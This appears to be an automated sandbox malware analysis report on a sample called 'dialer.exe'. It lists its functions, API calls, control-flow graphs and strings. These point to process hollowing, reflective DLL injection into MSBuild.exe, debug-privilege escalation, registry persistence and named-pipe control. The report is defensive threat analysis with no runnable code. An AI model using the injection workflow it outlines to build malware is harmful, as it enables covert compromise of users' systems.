VirtualProtect VirtualProtect 502->503 503->500 504->500 511 1400014d8 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc K32EnumProcesses 505->511 507 140001885 GetProcessHeap HeapFree 508 140001830 508->507 509 140001851 OpenProcess 508->509 509->508 510 140001867 TerminateProcess CloseHandle 509->510 510->508 512 140001565 511->512 513 14000162f GetProcessHeap RtlDeleteBoundaryDescriptor GetProcessHeap RtlRestoreThreadPreferredUILanguages 511->513 512->513 514 14000157a OpenProcess 512->514 516 14000161a FindCloseChangeNotification 512->516 517 1400015c9 ReadProcessMemory 512->517 513->508 514->512 515 140001597 K32EnumProcessModules 514->515 515->512 515->516 516->512 517->512 518 1400021d0 519 1400021dd 518->519 520 140001b54 6 API calls 519->520 521 1400021f2 Sleep 519->521 522 1400021fd ConnectNamedPipe 519->522 520->519 521->519 523 140002241 Sleep 522->523 524 14000220c ReadFile 522->524 525 14000224c DisconnectNamedPipe 523->525 524->525 526 14000222f 524->526 525->522 526->525 527 140002560 528 140002592 527->528 529 14000273a 527->529 530 1400026c6 GetProcessHeap HeapAlloc K32EnumProcesses 528->530 531 140002598 528->531 532 140002748 529->532 533 14000297e ReadFile 529->533 534 140002633 530->534 536 140002704 530->536 537 1400025a5 531->537 538 1400026bd ExitProcess 531->538 539 140002751 532->539 540 140002974 532->540 533->534 535 1400029a8 533->535 535->534 548 1400018ac 3 API calls 535->548 536->534 550 1400010c0 30 API calls 536->550 544 1400025ae 537->544 545 140002660 RegOpenKeyExW 537->545 541 140002919 539->541 542 14000275c 539->542 543 14000175c 22 API calls 540->543 549 140001944 ReadFile 541->549 546 140002761 542->546 547 14000279d 542->547 543->534 544->534 560 1400025cb ReadFile 544->560 551 1400026a1 545->551 552 14000268d RegDeleteValueW 545->552 546->534 609 14000217c 546->609 612 140001944 547->612 553 1400029c7 548->553 555 140002928 549->555 550->536 596 1400019c4 SysAllocString SysAllocString CoInitializeEx 551->596 552->551 553->534 564 1400029db GetProcessHeap HeapAlloc 553->564 565 140002638 553->565 555->534 567 140001944 ReadFile 555->567 559 1400026a6 604 14000175c GetProcessHeap HeapAlloc 559->604 560->534 562 1400025f5 560->562 562->534 574 1400018ac 3 API calls 562->574 570 1400014d8 13 API calls 564->570 576 140002a90 4 API calls 565->576 566 1400027b4 ReadFile 566->534 571 1400027dc 566->571 572 14000293f 567->572 587 140002a14 570->587 571->534 577 1400027e9 GetProcessHeap HeapAlloc ReadFile 571->577 572->534 578 140002947 ShellExecuteW 572->578 580 140002614 574->580 576->534 582 14000290b GetProcessHeap 577->582 583 14000282d 577->583 578->534 580->534 580->565 586 140002624 580->586 581 140002a49 GetProcessHeap 584 140002a52 HeapFree 581->584 582->584 583->582 588 140002881 lstrlenW GetProcessHeap HeapAlloc 583->588 589 14000285e 583->589 584->534 590 1400010c0 30 API calls 586->590 587->581 636 1400016cc 587->636 630 140002a90 CreateFileW 588->630 589->582 616 140001c88 589->616 590->534 597 140001a11 CoInitializeSecurity 596->597 598 140001b2c SysFreeString SysFreeString 596->598 599 140001a59 CoCreateInstance 597->599 600 140001a4d 597->600 598->559 601 140001b26 CoUninitialize 599->601 602 140001a88 VariantInit 599->602 600->599 600->601 601->598 603 140001ade 602->603 603->601 605 1400014d8 13 API calls 604->605 607 14000179a 605->607 606 1400017c8 GetProcessHeap HeapFree 607->606 608 1400016cc 5 API calls 607->608 608->607 610 140001914 2 API calls 609->610 611 140002191 610->611 613 140001968 ReadFile 612->613 614 14000198b 613->614 615 1400019a5 613->615 614->613 614->615 615->534 615->566 617 140001cbb 616->617 618 140001cce CreateProcessW 617->618 620 140001e97 617->620 622 140001e62 OpenProcess 617->622 624 140001dd2 VirtualAlloc 617->624 626 140001d8c WriteProcessMemory 617->626 618->617 619 140001d2b VirtualAllocEx 618->619 619->617 621 140001d60 WriteProcessMemory 619->621 620->582 621->617 622->617 623 140001e78 TerminateProcess 622->623 623->617 624->617 625 140001df1 GetThreadContext 624->625 625->617 627 140001e09 WriteProcessMemory 625->627 626->617 627->617 628 140001e30 SetThreadContext 627->628 628->617 629 140001e4e ResumeThread 628->629 629->617 629->620 631 1400028f7 GetProcessHeap HeapFree 630->631 632 140002ada WriteFile 630->632 631->582 633 140002b1c CloseHandle 632->633 634 140002afe 632->634 633->631 634->633 635 140002b02 WriteFile 634->635 635->633 637 140001745 636->637 638 1400016eb OpenProcess 636->638 637->581 638->637 639 140001703 638->639 640 14000211c 2 API calls 639->640 641 140001723 640->641 642 14000173c CloseHandle 641->642 643 140001731 CloseHandle 641->643 642->637 643->642

                                                                Callgraph

                                                                Executed Functions

                                                                Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165registrymemorythreadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: CreateProcess$Close$CurrentResource$FileFindSecurityThread$ChangeDescriptorFreeHandleHeapModuleNotificationOpenProtectTokenValueVirtual$AdjustAllocConvertErrorInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
                                                                • String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
                                                                • API String ID: 1970497257-1130149537
                                                                • Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
                                                                • Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
                                                                • Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
                                                                • Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740
                                                                Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257memorystringnativeCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 24 1400010c0-140001110 call 1400018ac 27 140001116-14000111c 24->27 28 1400014ba-1400014d6 24->28 27->28 29 140001122-140001138 OpenProcess 27->29 29->28 30 14000113e-14000115b OpenProcess 29->30 31 140001161-140001178 K32GetModuleFileNameExW 30->31 32 1400011fd-14000121e NtQueryInformationProcess 30->32 33 1400011aa-1400011b6 CloseHandle 31->33 34 14000117a-140001195 PathFindFileNameW lstrlenW 31->34 35 1400014b1-1400014b4 CloseHandle 32->35 36 140001224-14000122a 32->36 33->32 38 1400011b8-1400011d3 33->38 34->33 37 140001197-1400011a7 StrCpyW 34->37 35->28 36->35 39 140001230-140001248 OpenProcessToken 36->39 37->33 40 1400011d8-1400011ea StrCmpIW 38->40 39->35 41 14000124e-140001274 GetTokenInformation 39->41 40->35 42 1400011f0-1400011fb 40->42 43 1400012f1 41->43 44 140001276-14000127f GetLastError 41->44 42->32 42->40 45 1400012f8-140001306 CloseHandle 43->45 44->43 46 140001281-140001295 LocalAlloc 44->46 45->35 47 14000130c-140001313 45->47 46->43 48 140001297-1400012bd GetTokenInformation 46->48 47->35 51 140001319-140001324 47->51 49 1400012df 48->49 50 1400012bf-1400012dd GetSidSubAuthorityCount GetSidSubAuthority 48->50 52 1400012e6-1400012ef LocalFree 49->52 50->52 51->35 53 14000132a-140001334 51->53 52->45 53->35 54 14000133a-140001344 53->54 54->35 55 14000134a-14000138a call 140001ec4 * 3 54->55 55->35 62 140001390-1400013b0 call 140001ec4 StrStrA 55->62 65 1400013b2-1400013c1 62->65 66 1400013c8-1400013ed call 140001ec4 * 2 62->66 65->62 67 1400013c3 65->67 66->35 72 1400013f3-14000141a VirtualAllocEx 66->72 67->35 72->35 73 140001420-140001439 WriteProcessMemory 72->73 73->35 74 14000143b-14000145d call 14000211c 73->74 74->35 77 14000145f-140001467 74->77 77->35 78 140001469-14000146f 77->78 79 140001471-140001476 78->79 80 140001478-140001485 WaitForSingleObject 78->80 81 1400014ab FindCloseChangeNotification 79->81 82 1400014a6 80->82 83 140001487-14000149b GetExitCodeThread 80->83 81->35 82->81 83->82 84 14000149d-1400014a3 83->84 84->82
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$Close$Open$FindHandleInformationToken$AllocAuthorityChangeFileLocalNameNotification$CodeCountErrorExitFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
                                                                • String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
                                                                • API String ID: 2998269048-3753927220
                                                                • Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
                                                                • Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
                                                                • Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
                                                                • Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740
                                                                Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130memorythreadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$Heap$AllocEnum$BoundaryChangeCloseDeleteDescriptorFindLanguagesMemoryModulesNotificationOpenPreferredProcessesReadRestoreThread
                                                                • String ID:
                                                                • API String ID: 2219672174-0
                                                                • Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
                                                                • Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
                                                                • Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
                                                                • Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700
                                                                Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82memorypipeCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
                                                                • String ID:
                                                                • API String ID: 3197395349-0
                                                                • Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
                                                                • Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
                                                                • Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
                                                                • Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40
                                                                Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                • GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
                                                                • HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812
                                                                  • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
                                                                  • Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
                                                                  • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
                                                                  • Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
                                                                  • Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
                                                                  • Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
                                                                  • Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
                                                                  • Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
                                                                  • Part of subcall function 00000001400014D8: FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
                                                                  • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
                                                                  • Part of subcall function 00000001400014D8: RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
                                                                  • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
                                                                  • Part of subcall function 00000001400014D8: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651
                                                                • OpenProcess.KERNEL32 ref: 0000000140001859
                                                                • TerminateProcess.KERNEL32 ref: 000000014000186C
                                                                • CloseHandle.KERNEL32 ref: 0000000140001875
                                                                • GetProcessHeap.KERNEL32 ref: 0000000140001885
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$Heap$Alloc$CloseEnumOpen$BoundaryChangeDeleteDescriptorFindHandleLanguagesMemoryModulesNotificationPreferredProcessesReadRestoreTerminateThread
                                                                • String ID:
                                                                • API String ID: 488292716-0
                                                                • Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
                                                                • Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
                                                                • Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
                                                                • Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700
                                                                Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124filememorystringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: File$CloseCreateHandleModuleProtectVirtual$ChangeCurrentFindFreeInformationLibraryMappingNotificationProcessViewlstrcmpi
                                                                • String ID: .text$C:\Windows\System32\
                                                                • API String ID: 1125510917-832442975
                                                                • Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
                                                                • Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
                                                                • Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
                                                                • Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700
                                                                Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40sleepfilepipeCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
                                                                • String ID: M$\\.\pipe\dialerchildproc64
                                                                • API String ID: 2203880229-3489460547
                                                                • Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
                                                                • Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
                                                                • Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
                                                                • Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700
                                                                Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36sleeppipefileCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 129 1400021d0-1400021da 130 1400021dd-1400021f0 call 140001b54 129->130 133 1400021f2-1400021fb Sleep 130->133 134 1400021fd-14000220a ConnectNamedPipe 130->134 133->130 135 140002241-140002246 Sleep 134->135 136 14000220c-14000222d ReadFile 134->136 137 14000224c-140002255 DisconnectNamedPipe 135->137 136->137 138 14000222f-140002234 136->138 137->134 138->137 139 140002236-14000223f 138->139 139->137
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
                                                                • String ID: \\.\pipe\dialercontrol_redirect64
                                                                • API String ID: 2071455217-3440882674
                                                                • Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
                                                                • Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
                                                                • Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
                                                                • Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700
                                                                Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 149 140002b38-140002b8c GetProcessHeap HeapAlloc GetProcessHeap RtlAllocateHeap 150 140002b8e-140002ba1 K32EnumProcesses 149->150 151 140002ba3-140002bb2 150->151 152 140002beb-140002bf4 SleepEx 150->152 153 140002bb4-140002bb8 151->153 154 140002bdc-140002be7 151->154 152->150 155 140002bba 153->155 156 140002bcb-140002bce call 140002540 153->156 154->152 157 140002bbe-140002bc3 155->157 160 140002bd2 156->160 158 140002bc5-140002bc9 157->158 159 140002bd6-140002bda 157->159 158->156 158->157 159->153 159->154 160->159
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocAllocateEnumProcessesSleep
                                                                • String ID:
                                                                • API String ID: 3827921107-0
                                                                • Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
                                                                • Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
                                                                • Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
                                                                • Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40
                                                                Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 173 1400018ac-1400018d6 OpenProcess 174 140001901-140001912 173->174 175 1400018d8-1400018e8 IsWow64Process 173->175 176 1400018f8-1400018fb FindCloseChangeNotification 175->176 177 1400018ea-1400018f3 175->177 176->174 177->176
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$ChangeCloseFindNotificationOpenWow64
                                                                • String ID:
                                                                • API String ID: 3805842350-0
                                                                • Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
                                                                • Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
                                                                • Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
                                                                • Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700
                                                                Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 178 140002258-14000225c call 14000226c 180 140002261-140002263 ExitProcess 178->180
                                                                APIs
                                                                  • Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
                                                                  • Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
                                                                  • Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
                                                                  • Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
                                                                  • Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
                                                                  • Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
                                                                  • Part of subcall function 000000014000226C: FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
                                                                  • Part of subcall function 000000014000226C: FindResourceA.KERNEL32 ref: 000000014000232F
                                                                  • Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
                                                                  • Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
                                                                  • Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
                                                                  • Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
                                                                  • Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
                                                                  • Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
                                                                  • Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
                                                                  • Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408
                                                                • ExitProcess.KERNEL32 ref: 0000000140002263
                                                                Memory Dump Source
                                                                • Source File: 00000033.00000002.3418090813.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 00000033.00000002.3417913403.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3418339147.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 00000033.00000002.3419565053.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_51_2_140000000_dialer.jbxd
                                                                Similarity
                                                                • API ID: Process$Resource$Security$CurrentDescriptorFindOpenToken$AdjustChangeCloseConvertCreateErrorExitFreeLastLoadLocalLockLookupNotificationPrivilegePrivilegesSizeofStringValue
                                                                • String ID:
                                                                • API String ID: 2373407002-0
                                                                • Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
                                                                • Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
                                                                • Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
                                                                • Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

                                                                Non-executed Functions

                                                                Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296memoryregistryfileCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
